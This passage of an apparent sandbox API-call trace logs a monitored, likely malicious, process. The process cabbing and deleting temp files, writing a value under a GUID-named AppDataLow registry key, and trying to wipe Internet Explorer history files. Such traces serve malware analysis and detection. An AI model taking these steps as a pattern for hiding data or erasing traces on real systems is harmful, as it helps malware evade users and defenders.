| out: param_1="makecab.exe /F \"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\DB32.bin\"") returned 62 [0151.641] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 36 [0151.641] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x4a) returned 0x9770a90 [0151.641] mbstowcs (in: _Dest=0x9770a90, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _MaxCount=0x25 | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0x24 [0151.641] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x25 [0151.641] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x4a) returned 0x9770af0 [0151.641] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", lpDst=0x9770af0, nSize=0x25 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0x25 [0151.641] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770a90 | out: hHeap=0x9770000) returned 1 [0151.641] PathGetShortPath (in: pszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp" | out: pszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") [0151.641] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 36 [0151.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0151.641] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x25) returned 0x9770a90 [0151.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", cchWideChar=36, lpMultiByteStr=0x9770a90, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Local\\TempA", lpUsedDefaultChar=0x0) returned 36 [0151.641] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770af0 | out: hHeap=0x9770000) returned 1 [0151.641] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="makecab.exe /F \"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\DB32.bin\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0xc000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", lpStartupInfo=0x765f7b0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x765f780 | out: lpCommandLine="makecab.exe /F \"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\DB32.bin\"", lpProcessInformation=0x765f780*(hProcess=0x6f8, hThread=0x3d0, dwProcessId=0x850, dwThreadId=0x83c)) returned 1 [0151.647] WaitForMultipleObjects (nCount=0x2, lpHandles=0x765f798*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0152.342] GetExitCodeProcess (in: hProcess=0x6f8, lpExitCode=0x765f840 | out: lpExitCode=0x765f840*=0x0) returned 1 [0152.342] CloseHandle (hObject=0x3d0) returned 1 [0152.342] CloseHandle (hObject=0x6f8) returned 1 [0152.342] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770a90 | out: hHeap=0x9770000) returned 1 [0152.342] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 36 [0152.342] lstrcatA (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", lpString2="\\setup.inf" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\setup.inf") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\setup.inf" [0152.342] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\setup.inf") returned 46 [0152.342] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x5e) returned 0x9a7f180 [0152.342] mbstowcs (in: _Dest=0x9a7f180, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\setup.inf", _MaxCount=0x2f | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\setup.inf") returned 0x2e [0152.342] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\setup.inf", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x2f [0152.342] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x5e) returned 0x9a7f110 [0152.342] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\setup.inf", lpDst=0x9a7f110, nSize=0x2f | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\setup.inf") returned 0x2f [0152.342] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f180 | out: hHeap=0x9770000) returned 1 [0152.342] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\setup.inf" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\setup.inf")) returned 1 [0152.343] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0152.343] lstrcatA (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", lpString2="\\setup.rpt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\setup.rpt") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\setup.rpt" [0152.343] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\setup.rpt") returned 46 [0152.343] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x5e) returned 0x9a7f110 [0152.343] mbstowcs (in: _Dest=0x9a7f110, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\setup.rpt", _MaxCount=0x2f | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\setup.rpt") returned 0x2e [0152.343] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\setup.rpt", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x2f [0152.343] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x5e) returned 0x9a7f180 [0152.343] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\setup.rpt", lpDst=0x9a7f180, nSize=0x2f | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\setup.rpt") returned 0x2f [0152.343] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0152.344] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\setup.rpt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\setup.rpt")) returned 1 [0152.344] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f180 | out: hHeap=0x9770000) returned 1 [0152.344] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\DB32.bin") returned 45 [0152.344] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x5c) returned 0x9a7f180 [0152.344] mbstowcs (in: _Dest=0x9a7f180, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\DB32.bin", _MaxCount=0x2e | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\DB32.bin") returned 0x2d [0152.344] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\DB32.bin", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x2e [0152.344] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x5c) returned 0x9a7f110 [0152.344] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\DB32.bin", lpDst=0x9a7f110, nSize=0x2e | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\DB32.bin") returned 0x2e [0152.344] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f180 | out: hHeap=0x9770000) returned 1 [0152.344] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\DB32.bin" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\db32.bin")) returned 1 [0152.345] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0152.345] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0152.345] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e9e0 | out: hHeap=0x9770000) returned 1 [0152.345] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6ea30 | out: hHeap=0x9770000) returned 1 [0152.345] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\E3D6.bin" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\e3d6.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8 [0152.345] GetFileSize (in: hFile=0x6f8, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2cbb [0152.345] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\E3D6.bin") returned 45 [0152.345] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x5c) returned 0x9a7f110 [0152.346] mbstowcs (in: _Dest=0x9a7f110, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\E3D6.bin", _MaxCount=0x2e | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\E3D6.bin") returned 0x2d [0152.346] CoCreateGuid (in: pguid=0x765f850 | out: pguid=0x765f850*(Data1=0xea284076, Data2=0xc0b3, Data3=0x4f27, Data4=([0]=0xbf, [1]=0x64, [2]=0x5, [3]=0xcb, [4]=0x44, [5]=0xb3, [6]=0x23, [7]=0x1c))) returned 0x0 [0152.346] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x13) returned 0x9b6dd70 [0152.352] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\E3D6.bin") returned 45 [0152.352] RegCreateKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Sfi", phkResult=0x765f7f0 | out: phkResult=0x765f7f0*=0x3d0) returned 0x0 [0152.353] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x5c) returned 0x9a7f180 [0152.358] RegSetValueExA (in: hKey=0x3d0, lpValueName="764028EAB3C0274F06", Reserved=0x0, dwType=0x3, lpData=0x9a7f180*, cbData=0x5c | out: lpData=0x9a7f180*) returned 0x0 [0152.358] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f180 | out: hHeap=0x9770000) returned 1 [0152.358] RegCloseKey (hKey=0x3d0) returned 0x0 [0152.358] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dd70 | out: hHeap=0x9770000) returned 1 [0152.358] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0152.358] CloseHandle (hObject=0x6f8) returned 1 [0152.358] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dd20 | out: hHeap=0x9770000) returned 1 [0152.358] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc50 | out: hHeap=0x9770000) returned 1 [0152.358] DeleteFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1d0e.bin")) returned 1 [0152.360] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dcd0 | out: hHeap=0x9770000) returned 1 [0152.364] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc90 | out: hHeap=0x9770000) returned 1 Thread: id = 223 os_tid = 0x91c [0096.114] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x20a) returned 0x9770a90 [0096.114] SHGetFolderPathW (in: hwnd=0x0, csidl=34, hToken=0x0, dwFlags=0x0, pszPath=0x9770a90 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x0 [0096.114] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned 57 [0096.115] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9770cb0 [0096.115] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x7c) returned 0x9770ec0 [0096.115] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9b6fa00 [0096.115] PathCombineW (in: pszDest=0x9770ec0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\*.*" [0096.115] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\*.*", lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x235727e0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466880 [0096.115] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x235727e0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.115] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x235727e0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x235727e0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0096.115] lstrlenW (lpString="desktop.ini") returned 11 [0096.115] PathCombineW (in: pszDest=0x9770cb0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History", pszFile="desktop.ini" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\desktop.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\desktop.ini" [0096.115] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\desktop.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\desktop.ini")) returned 1 [0096.115] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xb9b41ad0, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xb9b41ad0, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1 [0096.115] lstrlenW (lpString="History.IE5") returned 11 [0096.115] PathCombineW (in: pszDest=0x9770cb0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History", pszFile="History.IE5" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" [0096.115] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 69 [0096.115] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9b6fc60 [0096.115] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x94) returned 0x9b6fe70 [0096.115] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e010 [0096.115] PathCombineW (in: pszDest=0x9b6fe70, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\*.*" [0096.115] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\*.*", lpFindFileData=0x9a6e010 | out: lpFindFileData=0x9a6e010*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xb9b41ad0, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xb9b41ad0, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466400 [0096.116] FindNextFileW (in: hFindFile=0x4466400, lpFindFileData=0x9a6e010 | out: lpFindFileData=0x9a6e010*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xb9b41ad0, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xb9b41ad0, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.116] FindNextFileW (in: hFindFile=0x4466400, lpFindFileData=0x9a6e010 | out: lpFindFileData=0x9a6e010*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x235727e0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x235727e0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0096.116] lstrlenW (lpString="desktop.ini") returned 11 [0096.116] PathCombineW (in: pszDest=0x9b6fc60, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5", pszFile="desktop.ini" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\desktop.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\desktop.ini" [0096.116] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\desktop.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\desktop.ini")) returned 1 [0096.116] FindNextFileW (in: hFindFile=0x4466400, lpFindFileData=0x9a6e010 | out: lpFindFileData=0x9a6e010*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x235727e0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x235727e0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xe220fb50, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0096.116] lstrlenW (lpString="index.dat") returned 9 [0096.116] PathCombineW (in: pszDest=0x9b6fc60, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5", pszFile="index.dat" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" [0096.116] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat")) returned 0 [0096.116] FindNextFileW (in: hFindFile=0x4466400, lpFindFileData=0x9a6e010 | out: lpFindFileData=0x9a6e010*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb9b41ad0, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xb9b41ad0, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xb9b41ad0, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHist012019060920190610", cAlternateFileName="MSHIST~1")) returned 1 [0096.116] lstrlenW (lpString="MSHist012019060920190610") returned 24 [0096.116] PathCombineW (in: pszDest=0x9b6fc60, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5", pszFile="MSHist012019060920190610" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012019060920190610") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012019060920190610" [0096.116] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012019060920190610") returned 94 [0096.116] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e270 [0096.116] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xc6) returned 0x9a6e480 [0096.116] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e550 [0096.116] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012019060920190610", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012019060920190610\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012019060920190610\\*.*" [0096.116] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012019060920190610\\*.*", lpFindFileData=0x9a6e550 | out: lpFindFileData=0x9a6e550*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb9b41ad0, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xb9b41ad0, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xb9b41ad0, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466e20 [0096.247] FindNextFileW (in: hFindFile=0x4466e20, lpFindFileData=0x9a6e550 | out: lpFindFileData=0x9a6e550*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb9b41ad0, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xb9b41ad0, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xb9b41ad0, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.247] FindNextFileW (in: hFindFile=0x4466e20, lpFindFileData=0x9a6e550 | out: lpFindFileData=0x9a6e550*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xb9b41ad0, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xb9b41ad0, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xc3138e10, ftLastWriteTime.dwHighDateTime=0x1d4d60b, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0096.247] lstrlenW (lpString="index.dat") returned 9 [0096.247] PathCombineW (in: pszDest=0x9a6e270, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012019060920190610", pszFile="index.dat" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012019060920190610\\index.dat") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012019060920190610\\index.dat" [0096.247] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012019060920190610\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\mshist012019060920190610\\index.dat")) returned 0 [0096.247] FindNextFileW (in: hFindFile=0x4466e20, lpFindFileData=0x9a6e550 | out: lpFindFileData=0x9a6e550*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xb9b41ad0, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xb9b41ad0, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xc3138e10, ftLastWriteTime.dwHighDateTime=0x1d4d60b, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0 [0096.247] FindClose (in: hFindFile=0x4466e20 | out: hFindFile=0x4466e20) returned 1 [0096.247] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e550 | out: hHeap=0x9770000) returned 1 [0096.247] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0096.247] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e270 | out: hHeap=0x9770000) returned 1 [0096.248] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012019060920190610" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\mshist012019060920190610")) returned 0 [0096.248] FindNextFileW (in: hFindFile=0x4466400, lpFindFileData=0x9a6e010 | out: 